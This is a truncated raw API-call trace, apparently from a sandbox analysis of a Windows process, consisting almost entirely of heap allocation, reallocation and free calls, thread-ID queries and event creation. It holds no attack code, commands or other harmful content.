[0075.257] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283c8, Size=0x40) returned 0x2a18e18 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96ea0 [0075.257] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96ea0, Size=0x20) returned 0x30284e0 [0075.257] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x60) returned 0x2c8c660 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4928 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4958 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a1ff58 [0075.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4958 | out: hHeap=0x2ad0000) returned 1 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a200d8 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4928 | out: hHeap=0x2ad0000) returned 1 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.258] GetCurrentThreadId () returned 0x9b0 [0075.258] GetCurrentThreadId () returned 0x9b0 [0075.258] GetCurrentThreadId () returned 0x9b0 [0075.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a201c8 [0075.258] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c8c660, Size=0x88) returned 0x302bd30 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18e18 | out: hHeap=0x2ad0000) returned 1 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0075.258] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bd30, Size=0xb4) returned 0x302bd30 [0075.258] GetCurrentThreadId () returned 0x9b0 [0075.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49c8 [0075.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4888 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49c8 | out: hHeap=0x2ad0000) returned 1 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3182318 | out: hHeap=0x2ad0000) returned 1 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0075.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bd30 | out: hHeap=0x2ad0000) returned 1 [0075.258] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd08, Size=0x20) returned 0x30281e8 [0075.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49a8 [0075.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97038 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49e8 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49b8 [0075.259] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49e8, Size=0x14) returned 0x2a71700 [0075.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49b8 | out: hHeap=0x2ad0000) returned 1 [0075.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97038 | out: hHeap=0x2ad0000) returned 1 [0075.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49a8 | out: hHeap=0x2ad0000) returned 1 [0075.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181240 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3034798 [0075.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317fb48 | out: hHeap=0x2ad0000) returned 1 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180a98 [0075.259] GetCurrentThreadId () returned 0x9b0 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181cf8 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49c8 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71700 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4868 [0075.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48f8 [0075.259] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4868, Size=0x14) returned 0x2ab4180 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49c8 | out: hHeap=0x2ad0000) returned 1 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4180 | out: hHeap=0x2ad0000) returned 1 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97038 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3180a98 | out: hHeap=0x2ad0000) returned 1 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181b70 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181e80 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48b8 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71700 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4918 [0075.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4898 [0075.260] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4918, Size=0x14) returned 0x2ab4000 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4898 | out: hHeap=0x2ad0000) returned 1 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96db0 | out: hHeap=0x2ad0000) returned 1 [0075.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48b8 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4000 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3181b70 | out: hHeap=0x2ad0000) returned 1 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180910 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62a88 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71700 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96ea0 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49e8 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4908 [0075.261] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49e8, Size=0x14) returned 0x2ab41c0 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4908 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96ea0 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab41c0 | out: hHeap=0x2ad0000) returned 1 [0075.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3180910 | out: hHeap=0x2ad0000) returned 1 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a28 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49a8 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4988 [0075.262] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49a8, Size=0x14) returned 0x2ab3fa0 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4988 | out: hHeap=0x2ad0000) returned 1 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96db0 | out: hHeap=0x2ad0000) returned 1 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4a28 | out: hHeap=0x2ad0000) returned 1 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3fa0 | out: hHeap=0x2ad0000) returned 1 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.262] GetCurrentThreadId () returned 0x9b0 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182318 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180910 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49a8 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71700 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48e8 [0075.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48b8 [0075.262] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48e8, Size=0x14) returned 0x2ab40c0 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48b8 | out: hHeap=0x2ad0000) returned 1 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49a8 | out: hHeap=0x2ad0000) returned 1 [0075.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab40c0 | out: hHeap=0x2ad0000) returned 1 [0075.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3182318 | out: hHeap=0x2ad0000) returned 1 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c96df8 [0075.263] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2d8 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182628 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302d500 [0075.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3182628 | out: hHeap=0x2ad0000) returned 1 [0075.263] GetCurrentThreadId () returned 0x9b0 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x30f6328 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4988 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71700 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e10 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49b8 [0075.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4908 [0075.264] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49b8, Size=0x14) returned 0x2ab3fe0 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4908 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e10 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4988 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3fe0 | out: hHeap=0x2ad0000) returned 1 [0075.264] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c97038, Size=0x20) returned 0x3028440 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302d500 | out: hHeap=0x2ad0000) returned 1 [0075.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4908 [0075.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e10 [0075.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49b8 [0075.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.264] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab49b8, Size=0x14) returned 0x2ab41e0 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e10 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4908 | out: hHeap=0x2ad0000) returned 1 [0075.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab41e0 | out: hHeap=0x2ad0000) returned 1 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97038 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4a08 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e10 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48c8 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4978 [0075.265] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48c8, Size=0x14) returned 0x2ab4020 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4978 | out: hHeap=0x2ad0000) returned 1 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e10 | out: hHeap=0x2ad0000) returned 1 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4a08 | out: hHeap=0x2ad0000) returned 1 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4020 | out: hHeap=0x2ad0000) returned 1 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab48b8 [0075.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49e8 [0075.265] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab48b8, Size=0x14) returned 0x2ab3e60 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49e8 | out: hHeap=0x2ad0000) returned 1 [0075.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3e60 | out: hHeap=0x2ad0000) returned 1 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3181550 [0075.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c96e10 [0075.266] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2dc [0075.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c96f48 [0075.266] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2e0 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.266] GetLastError () returned 0x0 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.266] GetLastError () returned 0x0 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.266] GetLastError () returned 0x0 [0075.266] GetCurrentThreadId () returned 0x9b0 [0075.267] GetLastError () returned 0x0 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] GetLastError () returned 0x0 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] GetLastError () returned 0x0 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31e0080 | out: hHeap=0x2ad0000) returned 1 [0075.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302d500 [0075.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31810b8 | out: hHeap=0x2ad0000) returned 1 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.267] GetCurrentThreadId () returned 0x9b0 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1a4) returned 0x3028780 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] GetCurrentThreadId () returned 0x9b0 [0075.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e28 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96e28, Size=0x20) returned 0x3028260 [0075.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a18fc8 [0075.269] GetCurrentThreadId () returned 0x9b0 [0075.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48e8 [0075.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96e28 [0075.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96ea0 [0075.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4878 [0075.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4958 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4878, Size=0x14) returned 0x2a71700 [0075.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4958 | out: hHeap=0x2ad0000) returned 1 [0075.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96ea0 | out: hHeap=0x2ad0000) returned 1 [0075.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96e28 | out: hHeap=0x2ad0000) returned 1 [0075.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48e8 | out: hHeap=0x2ad0000) returned 1 [0075.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x50) returned 0x2a85a50 [0075.270] GetCurrentThreadId () returned 0x9b0 [0075.270] RtlReAllocateHeap 